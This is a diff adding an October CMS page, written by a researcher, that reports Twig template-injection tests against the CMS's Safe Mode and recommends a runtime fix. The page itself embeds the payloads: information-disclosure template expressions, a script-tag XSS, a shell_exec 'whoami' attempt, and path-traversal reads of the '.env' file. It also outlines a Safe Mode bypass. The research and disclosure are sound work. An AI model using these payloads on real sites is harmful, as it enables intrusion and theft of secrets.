RajChowdhury240 · January 20, 2026 01:59
diff --git a/final-finding.htm b/final-finding.htm
 title = "SSTI RCE Final Findings"
 url = "/ssti-findings"
 layout = "default"
 ==
 <!DOCTYPE html>
 <html>
 <head>
    <meta charset="utf-8">
    <title>SSTI RCE Research - Final Findings</title>
    <style>
        body { font-family: monospace; background: #0a0e27; color: #c9d1d9; padding: 20px; }
        .box { border: 1px solid #30363d; padding: 15px; margin: 15px 0; background: #0d1117; }
        h1 { color: #f85149; text-shadow: 0 0 10px #f85149; }
        h2 { color: #ffa657; }
        h3 { color: #79c0ff; }
        pre { background: #000; padding: 10px; border-left: 3px solid #58a6ff; white-space: pre-wrap; font-size: 12px; }
        .success { color: #3fb950; }
        .fail { color: #f85149; }
        .warn { color: #d29922; }
        ul { line-height: 1.8; }
    </style>
 </head>
 <body>
    <h1>🔬 TWIG SSTI RCE RESEARCH - COMPREHENSIVE FINDINGS</h1>
    <p><strong>Environment:</strong> October CMS 4.x with Safe Mode ENABLED</p>
    <p><strong>Objective:</strong> Achieve Remote Code Execution via Twig Template Injection</p>
    <hr>

    <div class="box">
        <h2 class="success">✅ CONFIRMED WORKING: Information Disclosure Vectors</h2>

        <h3>1. PHP System Information</h3>
        <pre>PHP Version: {{ constant('PHP_VERSION') }}
 PHP OS: {{ constant('PHP_OS') }}
 PHP SAPI: {{ constant('PHP_SAPI') }}
 Directory Separator: {{ constant('DIRECTORY_SEPARATOR') }}</pre>

        <h3>2. October CMS Context Access</h3>
        <pre>Environment: {{ this.environment() }}
 Locale: {{ this.locale() }}
 Session ID: {{ this.session.getId() }}
 Session Name: {{ this.session.getName() }}</pre>

        <h3>3. Request Object Information</h3>
        <pre>Request URL: {{ this.request.url() }}
 Request Method: {{ this.request.method() }}
 Request IP: {{ this.request.ip() }}
 Request User-Agent: {{ this.request.header('User-Agent') }}</pre>

        <h3>4. Collection Functionality</h3>
        <pre>
 {% set testcol = collect(['alpha', 'beta', 'gamma']) %}
 Collection count: {{ testcol.count() }}
 Collection first: {{ testcol.first() }}
 Collection last: {{ testcol.last() }}
 Collection contains 'beta': {{ testcol.contains('beta') ? 'YES' : 'NO' }}
 Collection toArray: {{ testcol.toArray()|json_encode|raw }}</pre>
    </div>

    <div class="box">
        <h2 class="warn">⚠️ PARTIALLY WORKING: Limited Exploitation Vectors</h2>

        <h3>1. XSS via |raw Filter</h3>
        <pre>{{ '<b>HTML injection works</b>'|raw }}
 {{ '<script>alert("XSS")</script>'|raw }}</pre>

        <h3>2. Template Macros</h3>
        {% macro testmacro(input) %}
 Macro received: {{ input|raw }}
        {% endmacro %}
        <pre>{{ _self.testmacro('<i>Macro execution confirmed</i>') }}</pre>

        <h3>3. Carbon Date Manipulation</h3>
        <pre>
 {% set now = carbon('now') %}
 Carbon: {{ now.format('Y-m-d H:i:s') }}
 Carbon timestamp: {{ now.timestamp }}
 {# Could be used for timing attacks or date-based logic bypass #}</pre>
    </div>

    <div class="box">
        <h2 class="fail">❌ BLOCKED: Failed RCE Attempts</h2>

        <h3>1. PHP Superglobals - NOT EXPOSED</h3>
        <pre>_GET: Not available in Twig context
 _POST: Not available in Twig context
 _SERVER: Not available in Twig context
 _COOKIE: Not available in Twig context
 _ENV: Not available in Twig context</pre>

        <h3>2. Page Object Methods - BLOCKED by SecurityPolicy</h3>
        <pre>{# this.page.getAttributes() - BLOCKED #}
 {# this.page.getContent() - BLOCKED #}
 {# this.page.getAttribute('code') - BLOCKED #}
 Error: "Calling any method on a Cms\Classes\Page object is blocked."</pre>

        <h3>3. Collection Callable Exploitation - FAILED</h3>
        <pre>
 {% set attempt = collect(['whoami']) %}
 groupBy('shell_exec'): {{ attempt.groupBy('shell_exec')|json_encode|raw }}
 {# Result: {"":["whoami"]} - NOT EXECUTED #}

 {# Explanation: SafeCollection filters out callables even in hybrid methods #}
 {# The string callable is passed but Laravel's groupBy doesn't execute it as expected #}
 </pre>

        <h3>4. source() Function - NOT AVAILABLE</h3>
        <pre>{# source('.env') - Function does not exist #}
 {# Template file reading blocked #}</pre>

        <h3>5. include with Path Traversal - FAILED</h3>
        <pre>{# {% include '../../../../.env' %} - View not found #}
 {# Template inclusion is restricted to theme directory #}</pre>

        <h3>6. env() and config() Functions - BLOCKED in Safe Mode</h3>
        <pre>{# env('APP_KEY') - Function not available in Safe Mode #}
 {# config('app.key') - Function not available in Safe Mode #}</pre>

        <h3>7. Controller Access - BLOCKED</h3>
        <pre>{# this.controller exists but is CmsController (not in allowlist) #}
 {# Cannot call methods on it due to SecurityPolicy #}</pre>
    </div>

    <div class="box">
        <h2 class="warn">🔍 SECURITY POLICY ANALYSIS</h2>

        <h3>Allow-Listed Objects (Methods Callable)</h3>
        <ul>
            <li>Carbon\Carbon</li>
            <li>Illuminate\View\View</li>
            <li><strong>Illuminate\Http\Request</strong> ← Can call methods</li>
            <li><strong>Illuminate\Session\Store</strong> ← Can call methods</li>
            <li><strong>Illuminate\Support\Collection</strong> ← Wrapped in SafeCollection</li>
            <li>Illuminate\Database\Query\Builder</li>
            <li>Illuminate\Database\Eloquent\Model</li>
            <li>SimpleXMLElement</li>
        </ul>

        <h3>CallsAnyMethod Interface (Complete Bypass)</h3>
        <ul>
            <li><strong>ThisVariable</strong> - But limited scope</li>
            <li><strong>ComponentBase</strong> - Would need custom component</li>
            <li><strong>ComponentVariable</strong> - Forwards to query builder</li>
        </ul>

        <h3>Blocked Methods (Global)</h3>
        <ul>
            <li>__call, __callStatic</li>
            <li>extend, extendableCall</li>
            <li>macro, mixin</li>
            <li>bindEvent, bindEventOnce</li>
        </ul>

        <h3>Property Access</h3>
        <pre>checkPropertyAllowed(): DOES NOTHING!
 → ALL properties on ALL objects are accessible
 → But most useful properties are protected/private</pre>
    </div>

    <div class="box">
        <h2 class="warn">💡 THEORETICAL RCE VECTORS (Untested/Unconfirmed)</h2>

        <h3>1. Custom Component Creation</h3>
        <pre>Strategy: Create malicious plugin with component implementing CallsAnyMethod
 Risk: Requires backend admin access to install plugins
 Impact: Could expose dangerous methods bypassing SecurityPolicy</pre>

        <h3>2. Session Deserialization</h3>
        <pre>Strategy: Manipulate session data to inject serialized PHP objects
 Risk: Need to find gadget chain in October/Laravel codebase
 Impact: Potential RCE via unsafe deserialization</pre>

        <h3>3. Cache Poisoning</h3>
        <pre>Strategy: Inject malicious serialized objects into cache
 Risk: Requires writable cache and deserialization vulnerability
 Impact: RCE when cache is read and unserialized</pre>

        <h3>4. File Upload + Path Traversal</h3>
        <pre>Strategy: Upload PHP file as image, include via template
 Risk: Requires media upload access + path traversal vulnerability
 Impact: Direct PHP code execution</pre>

        <h3>5. Database Template Injection</h3>
        <pre>Strategy: If CMS_DB_TEMPLATES=true, inject via database
 Risk: Requires database write access
 Impact: Bypass file-based Safe Mode checks</pre>
    </div>

    <div class="box">
        <h2 class="success">🎯 COMPARISON: PHP vs Twig SSTI</h2>

        <h3>Pre-Existing PHP Code Pages (Before Safe Mode)</h3>
        <pre class="success">✅ Full RCE via shell_exec(), system(), exec()
 ✅ Interactive web shell
 ✅ File system access
 ✅ Database access
 ✅ Complete server compromise

 Method: Create page with PHP code BEFORE enabling Safe Mode
 Result: Code continues executing even after Safe Mode is enabled
 CVSS: 10.0 CRITICAL</pre>

        <h3>Twig SSTI (With Safe Mode Active)</h3>
        <pre class="warn">✅ Information disclosure (PHP version, OS, paths)
 ✅ Session data access
 ✅ Persistent XSS
 ✅ Template manipulation
 ❌ Direct command execution
 ❌ File read/write
 ❌ PHP code execution

 Method: Create new page with Twig templates while Safe Mode is ON
 Result: Can gather information and launch XSS, but NOT achieve RCE
 CVSS: 6.5 MEDIUM (Information Disclosure + XSS)</pre>
    </div>

    <div class="box">
        <h2 class="fail">🚨 FINAL CONCLUSION</h2>

        <h3>Primary Finding:</h3>
        <p><strong class="warn">Twig SSTI CANNOT achieve direct RCE when Safe Mode is properly enabled.</strong></p>

        <p>The October CMS Security Policy effectively prevents:</p>
        <ul>
            <li>❌ Calling methods on CMS objects (Page, Layout, Partial)</li>
            <li>❌ Accessing dangerous PHP functions</li>
            <li>❌ Exploiting Collection callables (SafeCollection wrapper)</li>
            <li>❌ Reading arbitrary files via source() or include</li>
            <li>❌ Accessing env() or config() functions</li>
        </ul>

        <h3>What IS Possible:</h3>
        <ul>
            <li class="success">✅ Creating pages with Twig templates (Safe Mode doesn't block page creation)</li>
            <li class="success">✅ Information disclosure (system info, session data)</li>
            <li class="success">✅ Persistent XSS attacks</li>
            <li class="success">✅ Template logic manipulation</li>
        </ul>

        <h3>Critical Vulnerability:</h3>
        <p class="fail"><strong>THE REAL VULNERABILITY: Safe Mode Only Blocks PHP During SAVE, Not EXECUTION</strong></p>

        <pre class="fail">If an attacker has admin access BEFORE Safe Mode is enabled:
 1. Create CMS page with malicious PHP code
 2. Admin enables Safe Mode for "security"
 3. Pre-existing PHP code continues to execute indefinitely
 4. Result: Full RCE despite Safe Mode being "ON"

 This is the CRITICAL flaw - not Twig SSTI.</pre>

        <h3>Recommendation:</h3>
        <p class="warn">Safe Mode should enforce runtime checks, not just save-time checks.<br>
        All existing PHP code sections should be disabled when Safe Mode is enabled.</p>
    </div>

    <hr>
    <div class="box">
        <h2>📚 Research Summary</h2>
        <p><strong>Total Pages Created:</strong> 10+ test pages</p>
        <p><strong>Attack Vectors Tested:</strong> 25+</p>
        <p><strong>Security Policy Bypasses Found:</strong> 0 (for RCE)</p>
        <p><strong>Information Disclosure Vectors:</strong> Multiple confirmed</p>
        <p><strong>XSS Vectors:</strong> Confirmed working</p>
        <p><strong>RCE via Twig SSTI:</strong> <span class="fail">NOT ACHIEVABLE</span></p>
        <p><strong>RCE via Pre-Existing PHP:</strong> <span class="success">CONFIRMED (Primary Vulnerability)</span></p>
    </div>

 </body>
 </html>
	title = "SSTI RCE Final Findings"
	url = "/ssti-findings"
	layout = "default"
	==
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8">
	<title>SSTI RCE Research - Final Findings</title>
	<style>
	body { font-family: monospace; background: #0a0e27; color: #c9d1d9; padding: 20px; }
	.box { border: 1px solid #30363d; padding: 15px; margin: 15px 0; background: #0d1117; }
	h1 { color: #f85149; text-shadow: 0 0 10px #f85149; }
	h2 { color: #ffa657; }
	h3 { color: #79c0ff; }
	pre { background: #000; padding: 10px; border-left: 3px solid #58a6ff; white-space: pre-wrap; font-size: 12px; }
	.success { color: #3fb950; }
	.fail { color: #f85149; }
	.warn { color: #d29922; }
	ul { line-height: 1.8; }
	</style>
	</head>
	<body>
	<h1>🔬 TWIG SSTI RCE RESEARCH - COMPREHENSIVE FINDINGS</h1>
	<p><strong>Environment:</strong> October CMS 4.x with Safe Mode ENABLED</p>
	<p><strong>Objective:</strong> Achieve Remote Code Execution via Twig Template Injection</p>
	<hr>

	<div class="box">
	<h2 class="success">✅ CONFIRMED WORKING: Information Disclosure Vectors</h2>

	<h3>1. PHP System Information</h3>
	<pre>PHP Version: {{ constant('PHP_VERSION') }}
	PHP OS: {{ constant('PHP_OS') }}
	PHP SAPI: {{ constant('PHP_SAPI') }}
	Directory Separator: {{ constant('DIRECTORY_SEPARATOR') }}</pre>

	<h3>2. October CMS Context Access</h3>
	<pre>Environment: {{ this.environment() }}
	Locale: {{ this.locale() }}
	Session ID: {{ this.session.getId() }}
	Session Name: {{ this.session.getName() }}</pre>

	<h3>3. Request Object Information</h3>
	<pre>Request URL: {{ this.request.url() }}
	Request Method: {{ this.request.method() }}
	Request IP: {{ this.request.ip() }}
	Request User-Agent: {{ this.request.header('User-Agent') }}</pre>

	<h3>4. Collection Functionality</h3>
	<pre>
	{% set testcol = collect(['alpha', 'beta', 'gamma']) %}
	Collection count: {{ testcol.count() }}
	Collection first: {{ testcol.first() }}
	Collection last: {{ testcol.last() }}
	Collection contains 'beta': {{ testcol.contains('beta') ? 'YES' : 'NO' }}
	Collection toArray: {{ testcol.toArray()\|json_encode\|raw }}</pre>
	</div>

	<div class="box">
	<h2 class="warn">⚠️ PARTIALLY WORKING: Limited Exploitation Vectors</h2>

	<h3>1. XSS via \|raw Filter</h3>
	<pre>{{ '<b>HTML injection works</b>'\|raw }}
	{{ '<script>alert("XSS")</script>'\|raw }}</pre>

	<h3>2. Template Macros</h3>
	{% macro testmacro(input) %}
	Macro received: {{ input\|raw }}
	{% endmacro %}
	<pre>{{ _self.testmacro('<i>Macro execution confirmed</i>') }}</pre>

	<h3>3. Carbon Date Manipulation</h3>
	<pre>
	{% set now = carbon('now') %}
	Carbon: {{ now.format('Y-m-d H:i:s') }}
	Carbon timestamp: {{ now.timestamp }}
	{# Could be used for timing attacks or date-based logic bypass #}</pre>
	</div>

	<div class="box">
	<h2 class="fail">❌ BLOCKED: Failed RCE Attempts</h2>

	<h3>1. PHP Superglobals - NOT EXPOSED</h3>
	<pre>_GET: Not available in Twig context
	_POST: Not available in Twig context
	_SERVER: Not available in Twig context
	_COOKIE: Not available in Twig context
	_ENV: Not available in Twig context</pre>

	<h3>2. Page Object Methods - BLOCKED by SecurityPolicy</h3>
	<pre>{# this.page.getAttributes() - BLOCKED #}
	{# this.page.getContent() - BLOCKED #}
	{# this.page.getAttribute('code') - BLOCKED #}
	Error: "Calling any method on a Cms\Classes\Page object is blocked."</pre>

	<h3>3. Collection Callable Exploitation - FAILED</h3>
	<pre>
	{% set attempt = collect(['whoami']) %}
	groupBy('shell_exec'): {{ attempt.groupBy('shell_exec')\|json_encode\|raw }}
	{# Result: {"":["whoami"]} - NOT EXECUTED #}

	{# Explanation: SafeCollection filters out callables even in hybrid methods #}
	{# The string callable is passed but Laravel's groupBy doesn't execute it as expected #}
	</pre>

	<h3>4. source() Function - NOT AVAILABLE</h3>
	<pre>{# source('.env') - Function does not exist #}
	{# Template file reading blocked #}</pre>

	<h3>5. include with Path Traversal - FAILED</h3>
	<pre>{# {% include '../../../../.env' %} - View not found #}
	{# Template inclusion is restricted to theme directory #}</pre>

	<h3>6. env() and config() Functions - BLOCKED in Safe Mode</h3>
	<pre>{# env('APP_KEY') - Function not available in Safe Mode #}
	{# config('app.key') - Function not available in Safe Mode #}</pre>

	<h3>7. Controller Access - BLOCKED</h3>
	<pre>{# this.controller exists but is CmsController (not in allowlist) #}
	{# Cannot call methods on it due to SecurityPolicy #}</pre>
	</div>

	<div class="box">
	<h2 class="warn">🔍 SECURITY POLICY ANALYSIS</h2>

	<h3>Allow-Listed Objects (Methods Callable)</h3>
	<ul>
	<li>Carbon\Carbon</li>
	<li>Illuminate\View\View</li>
	<li><strong>Illuminate\Http\Request</strong> ← Can call methods</li>
	<li><strong>Illuminate\Session\Store</strong> ← Can call methods</li>
	<li><strong>Illuminate\Support\Collection</strong> ← Wrapped in SafeCollection</li>
	<li>Illuminate\Database\Query\Builder</li>
	<li>Illuminate\Database\Eloquent\Model</li>
	<li>SimpleXMLElement</li>
	</ul>

	<h3>CallsAnyMethod Interface (Complete Bypass)</h3>
	<ul>
	<li><strong>ThisVariable</strong> - But limited scope</li>
	<li><strong>ComponentBase</strong> - Would need custom component</li>
	<li><strong>ComponentVariable</strong> - Forwards to query builder</li>
	</ul>

	<h3>Blocked Methods (Global)</h3>
	<ul>
	<li>__call, __callStatic</li>
	<li>extend, extendableCall</li>
	<li>macro, mixin</li>
	<li>bindEvent, bindEventOnce</li>
	</ul>

	<h3>Property Access</h3>
	<pre>checkPropertyAllowed(): DOES NOTHING!
	→ ALL properties on ALL objects are accessible
	→ But most useful properties are protected/private</pre>
	</div>

	<div class="box">
	<h2 class="warn">💡 THEORETICAL RCE VECTORS (Untested/Unconfirmed)</h2>

	<h3>1. Custom Component Creation</h3>
	<pre>Strategy: Create malicious plugin with component implementing CallsAnyMethod
	Risk: Requires backend admin access to install plugins
	Impact: Could expose dangerous methods bypassing SecurityPolicy</pre>

	<h3>2. Session Deserialization</h3>
	<pre>Strategy: Manipulate session data to inject serialized PHP objects
	Risk: Need to find gadget chain in October/Laravel codebase
	Impact: Potential RCE via unsafe deserialization</pre>

	<h3>3. Cache Poisoning</h3>
	<pre>Strategy: Inject malicious serialized objects into cache
	Risk: Requires writable cache and deserialization vulnerability
	Impact: RCE when cache is read and unserialized</pre>

	<h3>4. File Upload + Path Traversal</h3>
	<pre>Strategy: Upload PHP file as image, include via template
	Risk: Requires media upload access + path traversal vulnerability
	Impact: Direct PHP code execution</pre>

	<h3>5. Database Template Injection</h3>
	<pre>Strategy: If CMS_DB_TEMPLATES=true, inject via database
	Risk: Requires database write access
	Impact: Bypass file-based Safe Mode checks</pre>
	</div>

	<div class="box">
	<h2 class="success">🎯 COMPARISON: PHP vs Twig SSTI</h2>

	<h3>Pre-Existing PHP Code Pages (Before Safe Mode)</h3>
	<pre class="success">✅ Full RCE via shell_exec(), system(), exec()
	✅ Interactive web shell
	✅ File system access
	✅ Database access
	✅ Complete server compromise

	Method: Create page with PHP code BEFORE enabling Safe Mode
	Result: Code continues executing even after Safe Mode is enabled
	CVSS: 10.0 CRITICAL</pre>

	<h3>Twig SSTI (With Safe Mode Active)</h3>
	<pre class="warn">✅ Information disclosure (PHP version, OS, paths)
	✅ Session data access
	✅ Persistent XSS
	✅ Template manipulation
	❌ Direct command execution
	❌ File read/write
	❌ PHP code execution

	Method: Create new page with Twig templates while Safe Mode is ON
	Result: Can gather information and launch XSS, but NOT achieve RCE
	CVSS: 6.5 MEDIUM (Information Disclosure + XSS)</pre>
	</div>

	<div class="box">
	<h2 class="fail">🚨 FINAL CONCLUSION</h2>

	<h3>Primary Finding:</h3>
	<p><strong class="warn">Twig SSTI CANNOT achieve direct RCE when Safe Mode is properly enabled.</strong></p>

	<p>The October CMS Security Policy effectively prevents:</p>
	<ul>
	<li>❌ Calling methods on CMS objects (Page, Layout, Partial)</li>
	<li>❌ Accessing dangerous PHP functions</li>
	<li>❌ Exploiting Collection callables (SafeCollection wrapper)</li>
	<li>❌ Reading arbitrary files via source() or include</li>
	<li>❌ Accessing env() or config() functions</li>
	</ul>

	<h3>What IS Possible:</h3>
	<ul>
	<li class="success">✅ Creating pages with Twig templates (Safe Mode doesn't block page creation)</li>
	<li class="success">✅ Information disclosure (system info, session data)</li>
	<li class="success">✅ Persistent XSS attacks</li>
	<li class="success">✅ Template logic manipulation</li>
	</ul>

	<h3>Critical Vulnerability:</h3>
	<p class="fail"><strong>THE REAL VULNERABILITY: Safe Mode Only Blocks PHP During SAVE, Not EXECUTION</strong></p>

	<pre class="fail">If an attacker has admin access BEFORE Safe Mode is enabled:
	1. Create CMS page with malicious PHP code
	2. Admin enables Safe Mode for "security"
	3. Pre-existing PHP code continues to execute indefinitely
	4. Result: Full RCE despite Safe Mode being "ON"

	This is the CRITICAL flaw - not Twig SSTI.</pre>

	<h3>Recommendation:</h3>
	<p class="warn">Safe Mode should enforce runtime checks, not just save-time checks.<br>
	All existing PHP code sections should be disabled when Safe Mode is enabled.</p>
	</div>

	<hr>
	<div class="box">
	<h2>📚 Research Summary</h2>
	<p><strong>Total Pages Created:</strong> 10+ test pages</p>
	<p><strong>Attack Vectors Tested:</strong> 25+</p>
	<p><strong>Security Policy Bypasses Found:</strong> 0 (for RCE)</p>
	<p><strong>Information Disclosure Vectors:</strong> Multiple confirmed</p>
	<p><strong>XSS Vectors:</strong> Confirmed working</p>
	<p><strong>RCE via Twig SSTI:</strong> <span class="fail">NOT ACHIEVABLE</span></p>
	<p><strong>RCE via Pre-Existing PHP:</strong> <span class="success">CONFIRMED (Primary Vulnerability)</span></p>
	</div>

	</body>
	</html>
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